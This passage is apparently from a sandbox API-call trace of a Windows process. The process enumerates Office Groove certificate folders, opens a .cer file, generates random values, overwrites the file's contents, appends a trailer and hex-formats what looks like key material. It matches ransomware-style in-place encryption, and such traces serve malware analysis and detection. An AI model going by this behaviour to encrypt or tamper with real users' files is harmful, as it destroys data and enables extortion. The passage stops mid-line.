[0227.127] FindClose (in: hFindFile=0x1ced61c0 | out: hFindFile=0x1ced61c0) returned 1 [0227.128] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd61df0) returned 1 [0227.129] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202b1af0) returned 1 [0227.129] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205d7d0) returned 1 Thread: id = 2060 os_tid = 0x1330 [0138.028] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x94) returned 0x202b0470 [0138.028] wcscpy (in: _Dest=0x202b0470, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\Verisign" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\Verisign") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\Verisign" [0138.028] wcscat (in: _Dest=0x202b0470, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\Verisign\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\Verisign\\" [0138.028] wcscat (in: _Dest=0x202b0470, _Source="*" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\Verisign\\*") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\Verisign\\*" [0138.028] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x2027ddf0 [0138.028] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\Verisign\\*", lpFindFileData=0x2027ddf0 | out: lpFindFileData=0x2027ddf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5e490770, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5e490770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5e490770, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ced6220 [0138.030] wcscmp (_String1=".", _String2=".") returned 0 [0138.030] FindNextFileW (in: hFindFile=0x1ced6220, lpFindFileData=0x2027ddf0 | out: lpFindFileData=0x2027ddf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5e490770, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5e490770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5e490770, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0138.030] wcscmp (_String1="..", _String2=".") returned 1 [0138.030] wcscmp (_String1="..", _String2="..") returned 0 [0138.030] FindNextFileW (in: hFindFile=0x1ced6220, lpFindFileData=0x2027ddf0 | out: lpFindFileData=0x2027ddf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5e490770, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x70744630, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x70744630, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Components", cAlternateFileName="COMPON~1")) returned 1 [0138.030] wcscmp (_String1="Components", _String2=".") returned 1 [0138.030] wcscmp (_String1="Components", _String2="..") returned 1 [0138.030] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa6) returned 0x2050cb30 [0138.030] wcscpy (in: _Dest=0x2050cb30, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\Verisign" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\Verisign") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\Verisign" [0138.030] wcscat (in: _Dest=0x2050cb30, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\Verisign\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\Verisign\\" [0138.030] wcscat (in: _Dest=0x2050cb30, _Source="Components" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\Verisign\\Components") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\Verisign\\Components" [0151.851] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xaa) returned 0x108200 [0151.851] wcscpy (in: _Dest=0x108200, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\Verisign\\Components" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\Verisign\\Components") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\Verisign\\Components" [0151.851] wcscat (in: _Dest=0x108200, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\Verisign\\Components\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\Verisign\\Components\\" [0151.851] wcscat (in: _Dest=0x108200, _Source="*" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\Verisign\\Components\\*") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\Verisign\\Components\\*" [0151.851] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1cd9b400 [0151.852] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\Verisign\\Components\\*", lpFindFileData=0x1cd9b400 | out: lpFindFileData=0x1cd9b400*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5e490770, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x70744630, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x70744630, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd9c610 [0151.864] wcscmp (_String1=".", _String2=".") returned 0 [0151.864] FindNextFileW (in: hFindFile=0x1cd9c610, lpFindFileData=0x1cd9b400 | out: lpFindFileData=0x1cd9b400*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5e490770, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x70744630, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x70744630, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0151.864] wcscmp (_String1="..", _String2=".") returned 1 [0151.864] wcscmp (_String1="..", _String2="..") returned 0 [0151.864] FindNextFileW (in: hFindFile=0x1cd9c610, lpFindFileData=0x1cd9b400 | out: lpFindFileData=0x1cd9b400*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d003d00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5e490770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d003d00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x3ae, dwReserved0=0x0, dwReserved1=0x0, cFileName="VeriSign_Class_3_Code_Signing_2001-4_CA.cer", cAlternateFileName="VERISI~1.CER")) returned 1 [0151.864] wcscmp (_String1="VeriSign_Class_3_Code_Signing_2001-4_CA.cer", _String2=".") returned 1 [0151.864] wcscmp (_String1="VeriSign_Class_3_Code_Signing_2001-4_CA.cer", _String2="..") returned 1 [0151.864] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xfe) returned 0x169090 [0151.865] wcscpy (in: _Dest=0x169090, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\Verisign\\Components" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\Verisign\\Components") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\Verisign\\Components" [0151.865] wcscat (in: _Dest=0x169090, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\Verisign\\Components\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\Verisign\\Components\\" [0151.865] wcscat (in: _Dest=0x169090, _Source="VeriSign_Class_3_Code_Signing_2001-4_CA.cer" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\Verisign\\Components\\VeriSign_Class_3_Code_Signing_2001-4_CA.cer") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\Verisign\\Components\\VeriSign_Class_3_Code_Signing_2001-4_CA.cer" [0151.865] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\Verisign\\Components\\VeriSign_Class_3_Code_Signing_2001-4_CA.cer" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\certificates\\verisign\\components\\verisign_class_3_code_signing_2001-4_ca.cer")) returned 0x20 [0151.868] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\Verisign\\Components\\VeriSign_Class_3_Code_Signing_2001-4_CA.cer", dwFileAttributes=0x20) returned 1 [0151.869] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\Verisign\\Components\\VeriSign_Class_3_Code_Signing_2001-4_CA.cer" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\certificates\\verisign\\components\\verisign_class_3_code_signing_2001-4_ca.cer"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x2594 [0151.870] GetFileSizeEx (in: hFile=0x2594, lpFileSize=0x3566fdd0 | out: lpFileSize=0x3566fdd0*=942) returned 1 [0151.870] SetFilePointerEx (in: hFile=0x2594, liDistanceToMove=0x3aa, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.870] ReadFile (in: hFile=0x2594, lpBuffer=0x3566fd50, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3566fd98, lpOverlapped=0x0 | out: lpBuffer=0x3566fd50*, lpNumberOfBytesRead=0x3566fd98*=0x4, lpOverlapped=0x0) returned 1 [0151.878] SetFilePointerEx (in: hFile=0x2594, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.878] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20500290 [0151.879] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x205002c0 [0151.879] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x205002f0 [0151.879] NtQuerySystemTime (in: CurrentTime=0x3566fc90 | out: CurrentTime=0x3566fc90*=132462177570838000) returned 0x0 [0151.879] RtlRandomEx (in: Seed=0x3566fc80 | out: Seed=0x3566fc80) returned 0x3ae78000 [0151.879] RtlRandomEx (in: Seed=0x3566fc80 | out: Seed=0x3566fc80) returned 0x5ae0f4e1 [0151.879] RtlRandomEx (in: Seed=0x3566fc80 | out: Seed=0x3566fc80) returned 0x261e05d7 [0151.879] RtlRandomEx (in: Seed=0x3566fc80 | out: Seed=0x3566fc80) returned 0x5b617f21 [0151.879] RtlRandomEx (in: Seed=0x3566fc80 | out: Seed=0x3566fc80) returned 0x115c987e [0151.879] RtlRandomEx (in: Seed=0x3566fc80 | out: Seed=0x3566fc80) returned 0x1e284742 [0151.879] RtlRandomEx (in: Seed=0x3566fc80 | out: Seed=0x3566fc80) returned 0x1038960c [0151.879] RtlRandomEx (in: Seed=0x3566fc80 | out: Seed=0x3566fc80) returned 0x569a2713 [0151.879] RtlRandomEx (in: Seed=0x3566fc80 | out: Seed=0x3566fc80) returned 0x2b350217 [0151.879] RtlRandomEx (in: Seed=0x3566fc80 | out: Seed=0x3566fc80) returned 0x5c8d6c61 [0151.879] RtlRandomEx (in: Seed=0x3566fc80 | out: Seed=0x3566fc80) returned 0x95a8cc0 [0151.879] RtlRandomEx (in: Seed=0x3566fc80 | out: Seed=0x3566fc80) returned 0x10017481 [0151.880] RtlRandomEx (in: Seed=0x3566fc80 | out: Seed=0x3566fc80) returned 0x56092e29 [0151.880] RtlRandomEx (in: Seed=0x3566fc80 | out: Seed=0x3566fc80) returned 0x7ec56510 [0151.880] RtlRandomEx (in: Seed=0x3566fc80 | out: Seed=0x3566fc80) returned 0x6efe2d64 [0151.880] RtlRandomEx (in: Seed=0x3566fc80 | out: Seed=0x3566fc80) returned 0x19160a20 [0151.880] RtlRandomEx (in: Seed=0x3566fc80 | out: Seed=0x3566fc80) returned 0xc29706c [0151.880] RtlRandomEx (in: Seed=0x3566fc80 | out: Seed=0x3566fc80) returned 0x7b9d0f81 [0151.880] RtlRandomEx (in: Seed=0x3566fc80 | out: Seed=0x3566fc80) returned 0x80367d7 [0151.880] RtlRandomEx (in: Seed=0x3566fc80 | out: Seed=0x3566fc80) returned 0x285991d7 [0151.880] RtlRandomEx (in: Seed=0x3566fc80 | out: Seed=0x3566fc80) returned 0x20a934a2 [0151.880] RtlRandomEx (in: Seed=0x3566fc80 | out: Seed=0x3566fc80) returned 0x3fe27459 [0151.880] RtlRandomEx (in: Seed=0x3566fc80 | out: Seed=0x3566fc80) returned 0x54d2c4cc [0151.880] RtlRandomEx (in: Seed=0x3566fc80 | out: Seed=0x3566fc80) returned 0x60b2783 [0151.880] RtlRandomEx (in: Seed=0x3566fc80 | out: Seed=0x3566fc80) returned 0x31f67cf3 [0151.880] RtlRandomEx (in: Seed=0x3566fc80 | out: Seed=0x3566fc80) returned 0x1486af1c [0151.880] RtlRandomEx (in: Seed=0x3566fc80 | out: Seed=0x3566fc80) returned 0x7edc12b3 [0151.880] RtlRandomEx (in: Seed=0x3566fc80 | out: Seed=0x3566fc80) returned 0x1021d1e5 [0151.880] RtlRandomEx (in: Seed=0x3566fc80 | out: Seed=0x3566fc80) returned 0x4d500396 [0151.880] RtlRandomEx (in: Seed=0x3566fc80 | out: Seed=0x3566fc80) returned 0xa9d1632 [0151.880] RtlRandomEx (in: Seed=0x3566fc80 | out: Seed=0x3566fc80) returned 0x7b81eb63 [0151.880] RtlRandomEx (in: Seed=0x3566fc80 | out: Seed=0x3566fc80) returned 0x4648e11a [0151.889] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20500320 [0151.890] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869740 [0151.890] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20500350 [0151.890] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869740) returned 1 [0151.890] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x205002f0) returned 1 [0151.891] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20500290) returned 1 [0151.891] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42058a10 [0151.891] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869740 [0151.891] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20500290 [0151.891] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20500290) returned 1 [0151.891] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42579930 [0151.892] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x4257d540 [0151.892] ReadFile (in: hFile=0x2594, lpBuffer=0x42579930, nNumberOfBytesToRead=0x3ae, lpNumberOfBytesRead=0x3566fc80, lpOverlapped=0x0 | out: lpBuffer=0x42579930*, lpNumberOfBytesRead=0x3566fc80*=0x3ae, lpOverlapped=0x0) returned 1 [0151.892] SetFilePointerEx (in: hFile=0x2594, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.892] WriteFile (in: hFile=0x2594, lpBuffer=0x4257d540*, nNumberOfBytesToWrite=0x3ae, lpNumberOfBytesWritten=0x3566fc84, lpOverlapped=0x0 | out: lpBuffer=0x4257d540*, lpNumberOfBytesWritten=0x3566fc84*=0x3ae, lpOverlapped=0x0) returned 1 [0162.825] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c19770 [0162.826] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c197a0 [0162.826] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c197a0) returned 1 [0162.826] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4257d540) returned 1 [0162.826] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42579930) returned 1 [0162.826] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869740) returned 1 [0162.827] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42058a10) returned 1 [0162.827] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x64) returned 0x1b86f0c0 [0162.827] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42058a10 [0162.827] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869740 [0162.827] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c197a0 [0162.828] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c197a0) returned 1 [0162.828] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x64) returned 0x1b86edb0 [0162.828] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c197a0 [0162.828] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c197d0 [0162.829] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c197d0) returned 1 [0162.829] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869740) returned 1 [0162.829] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42058a10) returned 1 [0162.829] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x148) returned 0x1cebc970 [0162.830] SetFilePointerEx (in: hFile=0x2594, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0162.830] WriteFile (in: hFile=0x2594, lpBuffer=0x1cebc970*, nNumberOfBytesToWrite=0x148, lpNumberOfBytesWritten=0x3566fda0, lpOverlapped=0x0 | out: lpBuffer=0x1cebc970*, lpNumberOfBytesWritten=0x3566fda0*=0x148, lpOverlapped=0x0) returned 1 [0164.773] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce185f0 [0164.773] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8696c0 [0164.773] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddb990 [0164.773] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddb990) returned 1 [0164.773] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x56) returned 0x1cd86850 [0164.774] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddb990 [0164.774] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddb960 [0164.774] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddb960) returned 1 [0164.774] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8696c0) returned 1 [0164.775] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce185f0) returned 1 [0164.775] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xad) returned 0x42c2b710 [0164.775] sprintf (in: _Dest=0x42c2b710, _Format="%c%c" | out: _Dest="5b") returned 2 [0164.775] sprintf (in: _Dest=0x42c2b712, _Format="%c%c" | out: _Dest="80") returned 2 [0164.775] sprintf (in: _Dest=0x42c2b714, _Format="%c%c" | out: _Dest="15") returned 2 [0164.775] sprintf (in: _Dest=0x42c2b716, _Format="%c%c" | out: _Dest="26") returned 2 [0164.775] sprintf (in: _Dest=0x42c2b718, _Format="%c%c" | out: _Dest="c2") returned 2 [0164.775] sprintf (in: _Dest=0x42c2b71a, _Format="%c%c" | out: _Dest="e6") returned 2 [0164.775] sprintf (in: _Dest=0x42c2b71c, _Format="%c%c" | out: _Dest="d9") returned 2 [0164.775] sprintf (in: _Dest=0x42c2b71e, _Format="%c%c" | out: _Dest="2c") returned 2 [0164.775] sprintf (in: _Dest=0x42c2b720, _Format="%c%c" | out: _Dest="67") returned 2 [0164.775] sprintf (in: _Dest=0x42c2b722, _Format="%c%c" | out: _Dest="3d") returned 2 [0164.775] sprintf (in: _Dest=0x42c2b724, _Format="%c%c" | out: _Dest="85") returned 2 [0164.775] sprintf (in: _Dest=0x42c2b726, _Format="%c%c" | out: _Dest="80") returned 2 [0164.775] sprintf (in: _Dest=0x42c2b728, _Format="%c%c" | out: _Dest="e0") returned 2 [0164.775] sprintf (in: _Dest=0x42c2b72a, _Format="%c%c" | out: _Dest="52") returned 2 [0164.775] sprintf (in: _Dest=0x42c2b72c, _Format="%c%c" | out: _Dest="58") returned 2 [0164.775] sprintf (in: _Dest=0x42c2b72e, _Format="%c%c" | out: _Dest="d1") returned 2 [0164.775] sprintf (in: _Dest=0x42c2b730, _Format="%c%c" | out: _Dest="bf") returned 2 [0164.775] sprintf (in: _Dest=0x42c2b732, _Format="%c%c" | out: _Dest="7e") returned 2 [0164.775] sprintf (in: _Dest=0x42c2b734, _Format="%c%c" | out: _Dest="52") returned 2 [0164.776] sprintf (in: _Dest=0x42c2b736, _Format="%c%c" | out: _Dest="33") returned 2 [0164.776] sprintf (in: _Dest=0x42c2b738, _Format="%c%c" | out: _Dest="4e") returned 2 [0164.776] sprintf (in: _Dest=0x42c2b73a, _Format="%c%c" | out: _Dest="d5") returned 2 [0164.776] sprintf (in: _Dest=0x42c2b73c, _Format="%c%c" | out: _Dest="83") returned 2 [0164.776] sprintf (in: _Dest=0x42c2b73e, _Format="%c%c" | out: _Dest="4c") returned 2 [0164.776] sprintf (in: _Dest=0x42c2b740, _Format="%c%c" | out: _Dest="6b") returned 2 [0164.776] sprintf (in: _Dest=0x42c2b742, _Format="%c%c" | out: _Dest="24") returned 2 [0164.776] sprintf (in: _Dest=0x42c2b744, _Format="%c%c" | out: _Dest="75") returned 2 [0164.776] sprintf (in: _Dest=0x42c2b746, _Format="%c%c" | out: _Dest="c9") returned 2 [0164.776] sprintf (in: _Dest=0x42c2b748, _Format="%c%c" | out: _Dest="29") returned 2 [0164.776] sprintf (in: _Dest=0x42c2b74a, _Format="%c%c" | out: _Dest="a6") returned 2 [0164.776] sprintf (in: _Dest=0x42c2b74c, _Format="%c%c" | out: _Dest="04") returned 2 [0164.776] sprintf (in: _Dest=0x42c2b74e, _Format="%c%c" | out: _Dest="60") returned 2 [0164.776] sprintf (in: _Dest=0x42c2b750, _Format="%c%c" | out: _Dest="91") returned 2 [0164.776] sprintf (in: _Dest=0x42c2b752, _Format="%c%c" | out: _Dest="de") returned 2 [0164.776] sprintf (in: _Dest=0x42c2b754, _Format="%c%c" | out: _Dest="8e") returned 2 [0164.776] sprintf (in: _Dest=0x42c2b756, _Format="%c%c" | out: _Dest="d4") returned 2 [0164.776] sprintf (in: _Dest=0x42c2b758, _Format="%c%c" | out: _Dest="14") returned 2 [0164.776] sprintf (in: _Dest=0x42c2b75a, _Format="%c%c" | out: _Dest="24") returned 2 [0164.776] sprintf (in: _Dest=0x42c2b75c, _Format="%c%c" | out: _Dest="37") returned 2 [0164.776] sprintf (in: _Dest=0x42c2b75e, _Format="%c%c" | out: _Dest="23") returned 2 [0164.776] sprintf (in: _Dest=0x42c2b760, _Format="%c%c" | out: _Dest="e4") returned 2 [0164.776] sprintf (in: _Dest=0x42c2b762, _Format="%c%c" | out: _Dest="96") returned 2 [0164.776] sprintf (in: _Dest=0x42c2b764, _Format="%c%c" | out: _Dest="f9") returned 2 [0164.776] sprintf (in: _Dest=0x42c2b766, _Format="%c%c" | out: _Dest="fd") returned 2 [0164.776] sprintf (in: _Dest=0x42c2b768, _Format="%c%c" | out: _Dest="c5") returned 2 [0164.776] sprintf (in: _Dest=0x42c2b76a, _Format="%c%c" | out: _Dest="94") returned 2 [0164.776] sprintf (in: _Dest=0x42c2b76c, _Format="%c%c" | out: _Dest="a5") returned 2 [0164.776] sprintf (in: _Dest=0x42c2b76e, _Format="%c%c" | out: _Dest="eb") returned 2 [0164.776] sprintf (in: _Dest=0x42c2b770, _Format="%c%c" | out: _Dest="ce") returned 2 [0164.777] sprintf (in: _Dest=0x42c2b772, _Format="%c%c" | out: _Dest="c9") returned 2 [0164.777] sprintf (in: _Dest=0x42c2b774, _Format="%c%c" | out: _Dest="6c") returned 2 [0164.777] sprintf (in: _Dest=0x42c2b776, _Format="%c%c" | out: _Dest="73") returned 2 [0164.777] sprintf (in: _Dest=0x42c2b778, _Format="%c%c" | out: _Dest="4d") returned 2 [0164.777] sprintf (in: _Dest=0x42c2b77a, _Format="%c%c" | out: _Dest="c8") returned 2 [0164.777] sprintf (in: _Dest=0x42c2b77c, _Format="%c%c" | out: _Dest="fb") returned 2 [0164.777] sprintf (in: _Dest=0x42c2b77e, _Format="%c%c" | out: _Dest="ce") returned 2 [0164.777] sprintf (in: _Dest=0x42c2b780, _Format="%c%c" | out: _Dest="9f") returned 2 [0164.777] sprintf (in: _Dest=0x42c2b782, _Format="%c%c" | out: _Dest="40") returned 2 [0164.777] sprintf (in: _Dest=0x42c2b784, _Format="%c%c" | out: _Dest="e1") returned 2 [0164.777] sprintf (in: _Dest=0x42c2b786, _Format="%c%c" | out: _Dest="79") returned 2 [0164.777] sprintf (in: _Dest=0x42c2b788, _Format="%c%c" | out: _Dest="70") returned 2 [0164.777] sprintf (in: _Dest=0x42c2b78a, _Format="%c%c" | out: _Dest="d6") returned 2 [0164.777] sprintf (in: _Dest=0x42c2b78c, _Format="%c%c" | out: _Dest="57") returned 2 [0164.777] sprintf (in: _Dest=0x42c2b78e, _Format="%c%c" | out: _Dest="b9") returned 2 [0164.777] sprintf (in: _Dest=0x42c2b790, _Format="%c%c" | out: _Dest="ef") returned 2 [0164.777] sprintf (in: _Dest=0x42c2b792, _Format="%c%c" | out: _Dest="08") returned 2 [0164.777] sprintf (in: _Dest=0x42c2b794, _Format="%c%c" | out: _Dest="c6") returned 2 [0164.777] sprintf (in: _Dest=0x42c2b796, _Format="%c%c" | out: _Dest="19") returned 2 [0164.777] sprintf (in: _Dest=0x42c2b798, _Format="%c%c" | out: _Dest="f8") returned 2 [0164.777] sprintf (in: _Dest=0x42c2b79a, _Format="%c%c" | out: _Dest="1a") returned 2 [0164.777] sprintf (in: _Dest=0x42c2b79c, _Format="%c%c" | out: _Dest="52") returned 2 [0164.777] sprintf (in: _Dest=0x42c2b79e, _Format="%c%c" | out: _Dest="78") returned 2 [0164.777] sprintf (in: _Dest=0x42c2b7a0, _Format="%c%c" | out: _Dest="dc") returned 2 [0164.777] sprintf (in: _Dest=0x42c2b7a2, _Format="%c%c" | out: _Dest="01") returned 2 [0164.777] sprintf (in: _Dest=0x42c2b7a4, _Format="%c%c" | out: _Dest="1a") returned 2 [0164.777] sprintf (in: _Dest=0x42c2b7a6, _Format="%c%c" | out: _Dest="05") returned 2 [0164.777] sprintf (in: _Dest=0x42c2b7a8, _Format="%c%c" | out: _Dest="6b") returned 2 [0164.777] sprintf (in: _Dest=0x42c2b7aa, _Format="%c%c" | out: _Dest="62") returned 2 [0164.777] sprintf (in: _Dest=0x42c2b7ac, _Format="%c%c" | out: _Dest="7a") returned 2 [0164.778] sprintf (in: _Dest=0x42c2b7ae, _Format="%c%c" | out: _Dest="cc") returned 2 [0164.778] sprintf (in: _Dest=0x42c2b7b0, _Format="%c%c" | out: _Dest="57") returned 2 [0164.778] sprintf (in: _Dest=0x42c2b7b2, _Format="%c%c" | out: _Dest="5f") returned 2 [0164.778] sprintf (in: _Dest=0x42c2b7b4, _Format="%c%c" | out: _Dest="3a") returned 2 [0164.778] sprintf (in: _Dest=0x42c2b7b6, _Format="%c%c" | out: _Dest="05") returned 2 [0164.778] sprintf (in: _Dest=0x42c2b7b8, _Format="%c%c" | out: _Dest="70") returned 2 [0164.778] sprintf (in: _Dest=0x42c2b7ba, 